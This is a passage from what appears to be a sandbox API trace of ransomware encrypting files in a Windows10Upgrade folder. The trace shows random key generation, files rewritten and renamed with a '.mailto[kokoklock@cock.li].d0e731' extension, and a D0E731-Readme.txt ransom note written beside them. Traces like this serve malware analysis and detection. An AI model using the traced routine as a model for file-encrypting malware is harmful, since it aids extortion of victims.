(in: hFile=0x9f0, liDistanceToMove=0x165fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.240] ReadFile (in: hFile=0x9f0, lpBuffer=0x1de3f8f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1de3f8ec, lpOverlapped=0x0 | out: lpBuffer=0x1de3f8f0*, lpNumberOfBytesRead=0x1de3f8ec*=0x4, lpOverlapped=0x0) returned 1 [0076.242] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b70 [0076.242] NtQuerySystemTime (in: CurrentTime=0x1de3f8c8 | out: CurrentTime=0x1de3f8c8*=132121176341283807) returned 0x0 [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xb07ab49c [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xcb9f3dcf [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x3d926787 [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xdbc2567a [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xe96b6622 [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xe51e31e0 [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x1a746d0d [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x5dafc407 [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x48d30bba [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x49a9460 [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xca242c29 [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xcae1cb71 [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x26af88bd [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x6847e346 [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x6f3438f1 [0076.242] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x8f9420ac [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xe1f6214a [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xd45b4ee7 [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x484335ec [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xb7172e26 [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x736a9bfa [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xaa93df89 [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x1c517752 [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x8d2736d3 [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xf09ee904 [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xf02c2808 [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x76128335 [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xe5a49eb9 [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0xefcc25fe [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x410b5bff [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x39e08509 [0076.243] RtlRandom (in: Seed=0x1de3f8d4 | out: Seed=0x1de3f8d4) returned 0x1d5cc775 [0076.254] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.254] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.254] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.254] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1de3f8a0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1de3f8a0*=0x4096, lpOverlapped=0x0) returned 1 [0076.255] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.255] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.255] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.255] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.255] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.255] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.255] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.256] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c10 [0076.256] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c10) returned 1 [0076.256] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.256] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.256] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1de3f8a0, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1de3f8a0*=0x4096, lpOverlapped=0x0) returned 1 [0076.256] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.256] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x16600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.256] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478bc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1de3f8d8, lpOverlapped=0x0 | out: lpBuffer=0x3478bc0*, lpNumberOfBytesWritten=0x1de3f8d8*=0x20, lpOverlapped=0x0) returned 1 [0076.256] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.256] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.256] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1de3f8ec, lpOverlapped=0x0 | out: lpBuffer=0x3478be8*, lpNumberOfBytesWritten=0x1de3f8ec*=0x8, lpOverlapped=0x0) returned 1 [0076.256] WriteFile (in: hFile=0x9f0, lpBuffer=0x1de3f904*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1de3f8ec, lpOverlapped=0x0 | out: lpBuffer=0x1de3f904*, lpNumberOfBytesWritten=0x1de3f8ec*=0x4, lpOverlapped=0x0) returned 1 [0076.256] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1de3f8ec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1de3f8ec*=0x4, lpOverlapped=0x0) returned 1 [0076.256] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1de3f8ec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1de3f8ec*=0x6c, lpOverlapped=0x0) returned 1 [0076.256] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1de3f8ec, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1de3f8ec*=0x20, lpOverlapped=0x0) returned 1 [0076.257] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1de3f8ec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1de3f8ec*=0x4, lpOverlapped=0x0) returned 1 [0076.257] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.257] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b98) returned 1 [0076.257] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478be8) returned 1 [0076.257] CloseHandle (hObject=0x9f0) returned 1 [0076.257] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f10f0 [0076.257] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml") returned="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" [0076.257] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" [0076.257] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml"), lpNewFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.258] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.258] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0076.258] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml", dwFileAttributes=0x20) returned 0 [0076.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0076.258] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\i386\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0076.258] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" [0076.258] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\d0e731-readme.txt")) returned 0xffffffff [0076.258] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.259] WriteFile (in: hFile=0x9f0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1de3f8e8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1de3f8e8*=0x481, lpOverlapped=0x0) returned 1 [0076.260] CloseHandle (hObject=0x9f0) returned 1 [0076.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8df0) returned 1 [0076.260] RtlExitUserThread (Status=0x1) Thread: id = 802 os_tid = 0x10e8 [0076.254] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt")) returned 0x20 [0076.261] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt", dwFileAttributes=0x20) returned 1 [0076.261] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.262] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1debfa70 | out: lpFileSize=0x1debfa70*=16497) returned 1 [0076.262] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x406d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.262] ReadFile (in: hFile=0x9f0, lpBuffer=0x1debfa44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1debfa40, lpOverlapped=0x0 | out: lpBuffer=0x1debfa44*, lpNumberOfBytesRead=0x1debfa40*=0x4, lpOverlapped=0x0) returned 1 [0076.263] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b98 [0076.263] NtQuerySystemTime (in: CurrentTime=0x1debfa1c | out: CurrentTime=0x1debfa1c*=132121176341596671) returned 0x0 [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x46367fe [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0xf8c9097e [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0xc997ad32 [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0xe5ef6f20 [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x377b2d7c [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x57bdeab [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x8acad9ef [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x50fc2683 [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x2f197aca [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x7e31caa [0076.263] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0xc3865766 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0xb789a628 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0xee4bc55c [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x3f819032 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x73b0cd17 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x52cde6c6 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x1e6c4258 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x73533569 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x39b19c2 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0xeedf729b [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x540c53a5 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0xb4189363 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x3267606d [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x57283331 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x31aae3ea [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x29001f85 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x6d9a6431 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x47468ba [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0xa2a57a5f [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x6d068a14 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0x378ba283 [0076.264] RtlRandom (in: Seed=0x1debfa28 | out: Seed=0x1debfa28) returned 0xdd1a723b [0076.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.275] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4071, lpNumberOfBytesRead=0x1debfa1c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1debfa1c*=0x4071, lpOverlapped=0x0) returned 1 [0076.276] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1debf9e4 | out: lpNewFilePointer=0x0) returned 1 [0076.276] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4071, lpNumberOfBytesWritten=0x1debfa18, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1debfa18*=0x4071, lpOverlapped=0x0) returned 1 [0076.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c38 [0076.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c38) returned 1 [0076.277] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478bc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1debfa14, lpOverlapped=0x0 | out: lpBuffer=0x3478bc0*, lpNumberOfBytesWritten=0x1debfa14*=0x20, lpOverlapped=0x0) returned 1 [0076.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.277] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1debfa40, lpOverlapped=0x0 | out: lpBuffer=0x3478c10*, lpNumberOfBytesWritten=0x1debfa40*=0x8, lpOverlapped=0x0) returned 1 [0076.277] WriteFile (in: hFile=0x9f0, lpBuffer=0x1debfa58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1debfa40, lpOverlapped=0x0 | out: lpBuffer=0x1debfa58*, lpNumberOfBytesWritten=0x1debfa40*=0x4, lpOverlapped=0x0) returned 1 [0076.277] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1debfa40, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1debfa40*=0x4, lpOverlapped=0x0) returned 1 [0076.277] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1debfa40, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1debfa40*=0x6c, lpOverlapped=0x0) returned 1 [0076.277] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1debfa40, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1debfa40*=0x20, lpOverlapped=0x0) returned 1 [0076.277] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1debfa40, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1debfa40*=0x4, lpOverlapped=0x0) returned 1 [0076.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478be8) returned 1 [0076.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c10) returned 1 [0076.278] CloseHandle (hObject=0x9f0) returned 1 [0076.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33f10f0 [0076.278] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" [0076.278] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731" [0076.278] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt"), lpNewFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.278] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.279] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0076.279] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt", dwFileAttributes=0x20) returned 0 [0076.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0076.279] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\i386\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0076.279] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" [0076.279] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\d0e731-readme.txt")) returned 0x20 [0076.279] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.279] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427138) returned 1 [0076.279] RtlExitUserThread (Status=0x1) Thread: id = 803 os_tid = 0x10ec [0076.280] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt")) returned 0x20 [0076.280] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt", dwFileAttributes=0x20) returned 1 [0076.280] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.281] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1df3f744 | out: lpFileSize=0x1df3f744*=2263) returned 1 [0076.281] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x8d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.281] ReadFile (in: hFile=0x9f0, lpBuffer=0x1df3f718, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1df3f714, lpOverlapped=0x0 | out: lpBuffer=0x1df3f718*, lpNumberOfBytesRead=0x1df3f714*=0x4, lpOverlapped=0x0) returned 1 [0076.282] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478be8 [0076.282] NtQuerySystemTime (in: CurrentTime=0x1df3f6f0 | out: CurrentTime=0x1df3f6f0*=132121176341752646) returned 0x0 [0076.282] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xe3956eff [0076.282] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x44993610 [0076.282] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x136a1cb6 [0076.282] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x54efb27e [0076.282] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x50141094 [0076.282] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x1ca0d5cd [0076.282] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x186d9f2a [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: 